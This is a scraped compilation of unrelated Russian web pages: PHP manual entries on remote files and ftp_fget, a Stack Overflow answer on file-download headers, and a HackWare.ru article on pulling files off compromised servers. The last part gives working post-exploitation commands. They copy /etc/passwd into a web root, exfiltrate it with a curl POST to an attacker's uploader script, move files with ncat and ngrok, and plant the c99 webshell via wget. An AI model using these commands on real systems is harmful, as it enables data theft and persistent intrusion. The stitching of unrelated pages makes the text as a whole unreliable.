Работа с удалёнными файлами
В случае, если опция allow_url_fopen включена в конфигурационном файле php.ini , вы можете использовать URL-адреса HTTP и FTP в большинстве функций, принимающих в качестве параметра имя файла. Также вы можете использовать ссылки в операторах include , include_once , require и require_once (для корректной работы этих функций должна быть включена опция allow_url_include). Дополнительную информацию о поддерживаемых в PHP протоколах вы можете найти в Поддерживаемые протоколы и обёртки.
Например, вы можете использовать это для того, чтобы открыть файл на удалённом сервере, извлечь необходимые вам данные и использовать их в запросе к базе данных или же просто отобразить их в дизайне вашего сайта.
Пример #1 Получение заголовка удалённой страницы
$file = fopen ( «http://www.example.com/» , «r» );
if (! $file ) echo «
Невозможно открыть удалённый файл.\n» ;
exit;
>
while (! feof ( $file )) $line = fgets ( $file , 1024 );
/* Сработает, только если заголовок и сопутствующие теги расположены в одной строке */
if ( preg_match ( «@\(.*)\@i» , $line , $out )) $title = $out [ 1 ];
break;
>
>
fclose ( $file );
?>?php
Вы также можете работать с удалёнными файлами, расположенными на FTP-сервере (подразумевается, что вы авторизовались с необходимыми для этого привилегиями). Таким образом вы можете только создавать новые файлы, но попытка перезаписать существующий файл при помощи функции fopen() приведёт к ошибке.
Для того, чтобы авторизоваться под пользователем, отличным от ‘anonymous’, вам необходимо указать логин (и, возможно, пароль) в адресной строке, например так: ‘ ftp://user:password@ftp.example.com/path/to/file ‘. (Вы можете использовать этот же синтаксис для доступа к удалённым файлам по HTTP -протоколу, если необходима Basic-аутентификация.)
Пример #2 Сохранение данных на удалённом сервере
$file = fopen ( «ftp://ftp.example.com/incoming/outputfile» , «w» );
if (! $file ) echo «
Невозможно перезаписать удалённый файл.\n» ;
exit;
>
/* Запись данных. */
fwrite ( $file , $_SERVER [ ‘HTTP_USER_AGENT’ ] . «\n» );
fclose ( $file );
?>?php
Замечание:
Глядя на приведённый выше пример, у вас может возникнуть идея использовать эту технику для ведения удалённого лог-файла. К сожалению, это нереализуемо, поскольку попытка записи в уже существующий удалённый файл при помощи функции fopen() приведёт к ошибке. В реализации распределённого логирования, возможно, вам поможет функция syslog() .
User Contributed Notes
There are no user contributed notes for this page.
- Отличительные особенности
- HTTP-аутентификация в PHP
- Cookies
- Сессии
- Работа с XForms
- Загрузка файлов на сервер
- Работа с удалёнными файлами
- Работа с соединениями
- Постоянные соединения с базами данных
- Работа с PHP из командной строки
- Сборка мусора
- Динамическая трассировка DTrace
- Copyright © 2001-2024 The PHP Group
- My PHP.net
- Contact
- Other PHP.net sites
- Privacy policy
ftp_fget
ftp_fget() загружает файл remote_filename с FTP-сервера и записывает его в переданный файловый дескриптор.
Список параметров
Открытый файловый дескриптор, в который будут сохранены данные.
Путь к удалённому файлу.
Режим передачи. Должен быть либо FTP_ASCII , либо FTP_BINARY .
Позиция начала загрузки в удалённом файле.
Возвращаемые значения
Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.
Список изменений
Версия Описание 8.1.0 Параметр ftp теперь ожидает экземпляр FTP\Connection ; ранее ожидался ресурс (resource). 7.3.0 Теперь параметр mode опционален. Раньше он был обязательным. Примеры
Пример #1 Пример использования ftp_fget()
// путь к удалённому файлу
$remote_file = ‘somefile.txt’ ;
$local_file = ‘localfile.txt’ ;// открываем файл для записи
$handle = fopen ( $local_file , ‘w’ );// установка соединения
$ftp = ftp_connect ( $ftp_server );// вход с именем пользователя и паролем
$login_result = ftp_login ( $ftp , $ftp_user_name , $ftp_user_pass );// пытаемся скачать файл и сохранить его в $handle
if ( ftp_fget ( $ftp , $handle , $remote_file , FTP_ASCII , 0 )) echo «Произведена запись в $local_file \n» ;
> else echo «При скачивании $remote_file в $local_file произошла проблема\n» ;
>// закрытие соединения и локального файла
ftp_close ( $ftp );
fclose ( $handle );
?>Смотрите также
- ftp_get() — Скачивает файл с FTP-сервера
- ftp_nb_get() — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
- ftp_nb_fget() — Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле
User Contributed Notes 6 notes
15 years ago
Another ftp_get_contents approach, using a temperary stream handler. Returns file contents as string.
function ftp_get_contents ( $conn_id , $filename ,
//Create temp handler:
$tempHandle = fopen ( ‘php://temp’ , ‘r+’ );//Get file from FTP assuming that it exists:
ftp_fget ( $conn_id , $tempHandle , $filename , FTP_ASCII , 0 ));//Getting detailed stats to check filesize:
$fstats = fstat ( $tempHandle );return fread ( $tempHandle , $fstats [ ‘size’ ]);
>
?>15 years ago
/**
* Function returns contents via FTP connection and returns it as string (right version. )
*/
function ftp_get_contents ( $conn_id , $filename ) <
//Create temp handler:
$tempHandle = fopen ( ‘php://temp’ , ‘r+’ );?php>
//Get file from FTP:
if (@ ftp_fget ( $conn_id , $tempHandle , $filename , FTP_ASCII , 0 )) <
rewind ( $tempHandle );
return stream_get_contents ( $tempHandle );
> else <
return false ;
>
>
?>6 years ago
if you are using windows ftp-server with cp1251 encoding there are some troubles with russian «я» in filename\path.
php use telnet to connect ftp-server and there are special symbol with code 255 in telnet protocol. You can try use ftp_raw($connection, ‘OPTS UTF8 ON’); and work in utf-8 (if server provides it).
P.S. sorry for my bad english
10 years ago
You might need to use ftp_pasv() if you’re behind a firewall and receiving odd timeouts, file creation but now local data saving, etc.
15 years ago
I was in need to synchronize two folders on two separate servers, one is a Windows server, and the other is a Linux server. I created this short and sweet function to help me do this. PLEASE NOTICE: This will not copy folders, and probably will fail if remote folder contains anything else than files.
function sync_folders($host, $port, $username, $password, $remote_dir, $local_dir, $passive_mode = true) $conn_id = ftp_connect($host, $port);
if (!$conn_id) return false; # fail to connect
if (!ftp_login($conn_id, $username, $password)) < ftp_close($conn_id); return false; ># fail to login
ftp_pasv($conn_id, $passive_mode);
if (!ftp_chdir($conn_id, $remote_dir)) < ftp_close($conn_id); return false; ># fail to change dir
if (substr($local_dir, -1) != ‘/’) $local_dir .= ‘/’;$list = ftp_nlist($conn_id, ‘.’);
sort($list);
foreach ($list as $file) if (!file_exists($local_dir . $file)) $is_copied = ftp_get($conn_id, $local_dir . $file, $file, FTP_BINARY);
>
>
ftp_close($conn_id);
return true;
>21 years ago
If you suply only a filename to the second parameter of function the ftp_get will open a pointer to the local file creating it and write to it.It’s ok if your server dont execute for to mutch time and you dont get too many files but if you do it too many times the pointers created by ftp_get will not be closed and will end your opened files capacity at your server making it to do not open any more files until you restart it.
- Copyright © 2001-2024 The PHP Group
- My PHP.net
- Contact
- Other PHP.net sites
- Privacy policy
Загрузка файла с сервера
Помигите организовать загрузку файла. Что я только не перпробывал, но браузер настойчиво пытается открыть файл, а не скачать.
Отслеживать
141 1 1 золотой знак 2 2 серебряных знака 9 9 бронзовых знаков
задан 16 июл 2012 в 10:47
alexxxer1234 alexxxer1234
73 1 1 золотой знак 2 2 серебряных знака 11 11 бронзовых знаков
16 июл 2012 в 10:49вы о header(‘Location: ‘.$fileName)? как ни странно редирект не работает вообще. Тоесть игнорируется абсолютно, как будто там его и нет. header(‘Location: ya.ru’) -даже на это ноль эмоций..
16 июл 2012 в 11:04
Вообще-то не редирект, а указание типа файла, чтобы отдать его на скачку.
16 июл 2012 в 11:402 ответа 2
Сортировка: Сброс на вариант по умолчанию
$file = '/path/to/file.jpg'; header('Content-Type: image/jpeg'); header('Content-Disposition: attachment; filename="file.jpg"'); readfile($file);Имя файла и Content-type указываете для своего конкретного файла.
Отслеживать
ответ дан 16 июл 2012 в 12:49
125 7 7 бронзовых знаков$file_name=$myrow['file']; header("Content-Length: ".filesize($file_name)); header("Content-Disposition: attachment; filename=".$file_name); header("Content-Type: application/x-force-download; name=\"".$file_name."\""); dfile($file_name);качает файлы любого расширения
Отслеживать
ответ дан 19 июл 2012 в 5:19
51 5 5 бронзовых знаков-
Важное на Мете
Похожие
Подписаться на ленту
Лента вопроса
Для подписки на ленту скопируйте и вставьте эту ссылку в вашу программу для чтения RSS.
Дизайн сайта / логотип © 2024 Stack Exchange Inc; пользовательские материалы лицензированы в соответствии с CC BY-SA . rev 2024.1.9.3159
Нажимая «Принять все файлы cookie» вы соглашаетесь, что Stack Exchange может хранить файлы cookie на вашем устройстве и раскрывать информацию в соответствии с нашей Политикой в отношении файлов cookie.
HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Как скачать файл с сервера
Это небольшая шпаргалка, как скопировать файлы с уже скомпрометированной системы. Типичные ситуации:
- на веб сайте найдена уязвимость Удалённое выполнение кода
- получены учётные данные пользователя, позволяющие подключиться по SSH (например, с помощью брут-форса)
Я перечислю несколько способов, как скопировать файл с сервера, я не сомневаюсь, что вы сможете придумать ещё столько же или больше (кстати, делитесь ими в комментариях), выбор конкретного способа зависит от условий и от личных предпочтений.
Условия могут быть разные:
- по уровню привилегий:
- мы пользователь www-data или http (если команды выполняются через уязвимый веб-сайт), в этом случае у нас есть права на запись в директорию веб-сервера
- мы пользователь без sudo, в этом случае мы можем записывать файлы в свою домашнюю директорию, а также в /tmp
- мы пользователь с sudo, мы можем делать что угодно
- по способу выполнения команд:
- выполняется через уязвимое веб-приложение, в этом случае запуск сложных команд может быть затруднён из-за фильтрации кавычек и других специальных символов
- команды выполняются при подключении по SSH, удобный способ, можно выполнять команды с любыми символами
1. cat + копирование с экрана/браузера
Простейший способ, с помощью команды cat выводится содержимое файла. Он подходит только для текстовых файлов. При выполнении команды по SSH, содержимое файла выводится в консоли, при выполнении через уязвимое веб-приложение, содержимое файла выводится на странице сайта:
Если делаете через выполнение команд в веб-браузере, то для нормального отображения откройте исходный код веб-страницы:
2. base64 + копирование с экрана/браузера
Этот способ похож на предыдущий, его можно применять для скачивания бинарных файлов, если другой возможности нет.
Для понимания сути, изучите следующие команды:
Содержимое исполнимого файла /usr/bin/ls (команда ls) кодируется в Base64 и сохраняется в файл ls.txt:
base64 /usr/bin/ls > ls.txt
Можно посмотреть, что в файле ls.txt размещён текст, который можно скопировать/вставить:
cat ./ls.txt
Теперь этот текст декодируем и сохраняем в файл ls.bin:
cat ./ls.txt | base64 -d > ls.bin
С помощью команды chmod делаем файл ls.bin исполнимым:
chmod +x ./ls.bin
Проверяем работоспособность этого файла:
./ls.bin
Суть в том, что с помощью base64 можно копированием-вставкой передавать бинарные файлы без возможности выгрузить их с сервера другим способом.
3. Помещение файла в директорию сайта и скачивание с веб-сервера
Допустим у нас есть право записи в директорию веб-сайта (мы выполняем команды через уязвимое веб-приложение). Адрес сайта not-secure-site.org. Тогда мы можем скопировать файл в директорию сайта и скачать его веб-браузером.
Допустим, папка сайта это /var/www/html/, тогда копируем нужный нам файл в неё следующей командой:
cp /etc/passwd /var/www/html/passwd.txt
Теперь этот файл будет доступен по ссылке http://not-secure-site.org/passwd.txt
Чтобы узнать текущую папку, где выполняется уязвимый скрипт, выполните команду pwd:
Типичные папки с сайтами:
- /srv/http/ — некоторые дистрибутивы (например, Arch Linux) хранят здесь файлы веб-сервера.
- /var/www/html/ — директория с файлами веб-сайтов веб-сервера Apache в Debian и производных дистрибутивах.
/etc/apache2/ — директория с настройками веб-сервера (когда служба называется apache2 — то есть в таких системах как Debian и производных)
Если неизвестно где папки сайтов, то нужно смотреть конфигурационные файлы Apache, там же можно узнать адрес сайта, если вдруг вы его не знаете (такое может быть, если сервер скомпрометирован по SSH):
- /etc/apache2/conf/httpd.conf — главный конфигурационный файл Apache
- /etc/apache2/conf/sites-enabled/ — включённые виртуальные хосты Apache
/etc/httpd/ — директория с настройками веб-сервера (когда служба называется httpd — то есть в таких системах как Arch Linux и производных)
- /etc/httpd/conf/httpd.conf — главный конфигурационный файл Apache
- /etc/httpd/conf/sites-enabled/ — включённые виртуальные хосты Apache
Чтобы посмотреть, запущен ли вообще веб-сервер:
systemctl status httpd # Arch Linux и пр. systemctl status apache2 # Debian и пр.
Если файлов много, то их можно заархивировать:
zip -r АРХИВ.zip каталог_для_архивации1 каталог_для_архивации2 каталог_для_архивации3.
Если программа zip недоступна, то используйте tar:
tar cf имя_архива имя_каталога
Или другие программы для архивации, для этого смотрите также «Работа с архивами в Linux».
4. cURL + POST
Этот способ не требует наличия веб-сервера и, по идее, должен работать также и на Windows, поскольку там cURL предустановлена по умолчанию.
Суть очень проста. Каждый из нас множество раз выгружал файлы с компьютера на сайт, например, фотографию для профиля или файл в файлообменник. Мы используем веб-браузер, который методом POST отправляет файл. Вместо браузера можно отправлять файл с помощью команды curl, которая также умеет использовать метод POST.
На сервере создайте файл uploader.php:
else < echo "NOT OK!\n"; >> else
С компьютера, с которого нужно выгрузить файл, запустите команду вида:
curl -F "file=@/путь/до/файла" СЕРВЕР/uploader.php
Обратите внимание на символ @ — он нужен для того, чтобы параметру file было присвоено не значение строки «/путь/до/файла», а содержимое того самого файла, который находится по пути /путь/до/файла.
curl -F "file=@/etc/passwd" 192.168.0.89/uploader.php
Если у вас серый IP адрес (к которому невозможно подключиться из Интернета), то в этой ситуации поможет программа ngrok. То есть в предыдущей команды вместо СЕРВЕР/uploader.php можно указать домен третьего уровня ngrok, от которого идёт туннель к вашему локальному веб-серверу.
5. ngrok
Программа ngrok отсутствует по умолчанию, поэтому нужно начать с установки:
wget `curl -s https://ngrok.com/download | grep -o -E 'https://bin.equinox.io/c/[A-Za-z0-9]/ngrok-stable-linux-amd64.zip'` unzip ngrok-stable-linux-amd64.zip chmod +x ./ngrok ./ngrok authtoken ВАШ_AUTHTOKEN
Не забудьте заменить ВАШ_AUTHTOKEN на настоящее значение.
Эта долгая установка точно стоит своих усилий, дело в том, что теперь можно сделать сетевой абсолютно ЛЮБУЮ папку на компьютере Linux! Например:
ngrok http file:///root/
6. Встроенный сервер PHP
У PHP есть встроенный веб сервер. Сам PHP довольно часто присутствует на компьютерах Linux, а если это веб-сервер, то присутствует практически всегда.
Особенность использования веб-сервера PHP от использования веб-сервера системы в том, вы запускаете PHP от своего текущего пользователя, а не от www-data или http, т. е. у вас другие права на доступ к файлам.
Нужно запускать командой вида:
php -S IP:PORT -t /путь/до/папки
В качестве IP нужно указать IP адрес удалённого компьютера, узнать его можно командой:
curl suip.biz/ip/
PORT можно указать любой, но для использования портов ниже 1024 нужны привилегии суперпользователя.
php -S 192.168.0.89:8484 -t /home/mial
Обратите внимание, что листинг файлов в директории отсутствует, то есть открывая в веб-браузере ссылку нужно указать имя конкретного файла, который присутствует в директории /путь/до/папки, пример ссылки http://192.168.0.89:8484/файл
7. SSH и перенаправление вывода на текущую систему
SSH можно использовать для копирования текстовых файлов:
ssh USER@IP 'cat FILE' > FILE
А также и для копирования бинарных файлов:
ssh USER@IP 'base64 FILE' > FILE.b64 cat ./FILE.b64 | base64 -d > FILE.bin
8. scp
Программа scp является частью SSH и предназначена специально для копирования файлов в любом направлении. То есть если у вас есть возможность подключиться по SSH, то намного удобнее воспользоваться scp.
Вид команды для копирования с удалённого компьютера на локальный компьютер:
scp [ПОЛЬЗОВАТЕЛЬ@]ХОСТ:[ПУТЬ_ДО_ФАЙЛА] ./ПУТЬ/В/ЛОКАЛЬНОЙ/СИСТЕМЕ
Больше подробностей смотрите в разделе «Как пользоваться утилитой scp».
9. Сетевая файловая система SSHFS
Если у вас есть возможность подключиться по SSH, то вы можете смонтировать удалённую файловую систему как свою локальную командой вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
10. Ncat, Netcat, nc
Чтобы отправить файл через TCP порт 9899 с HOST2 (клиент) на HOST1 (сервер):
На HOST1 выполните:
ncat -l 9899 > ФАЙЛ_ВЫВОДА
ncat HOST1 9899 < ФАЙЛ_ВВОДА
Чтобы отправить в другом направлении (с HOST1 на HOST2), превратив Ncat в сервер «одного файла»:
На HOST1 запустите:
ncat -l 9899 < ФАЙЛ_ВВОДА
И на HOST2 выполните:
ncat HOST1 9899 > ФАЙЛ_ВЫВОДА
11. Бэкдоры
Самый распространённый вариант для веб-серверов. Можно скачать бэкдор с веб-интерфейсом:
wget -O /var/www/html/helper.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php
А можно использовать более привычные шеллы с обфускацией и сокрытием передаваемых запросов от логов веб-сервера.
Больше подробностей смотрите по ссылкам:
Заключение
Конечно, способов скачать файл с удалённого компьютера через шелл или уязвимость веб сайта намного больше. Пишите в комментариях свои любимые способы!
Связанные статьи:
- Как пользоваться netcat (nc), ncat (55.4%)
- Брут-форс и эксплуатация скомпрометированных WordPress (51.9%)
- Скрытое управление компьютером на Windows (используя Metasploit) (51.8%)
- Инструкция по использованию Weevely: инструмента веб-мастера и пентестера (51.6%)
- Где скачать вирусы с исходным кодом для анализа (51.6%)
- SSH (ч.5): Копирование файлов с помощью scp и sftp (RANDOM - 1.3%)
факультете информационной безопасности от GeekBrains? Комплексная годовая программа практического обучения с охватом всех основных тем, а также с дополнительными курсами в подарок. По итогам обучения выдаётся свидетельство установленного образца и сертификат. По этой ссылке специальная скидка на любые факультеты и курсы!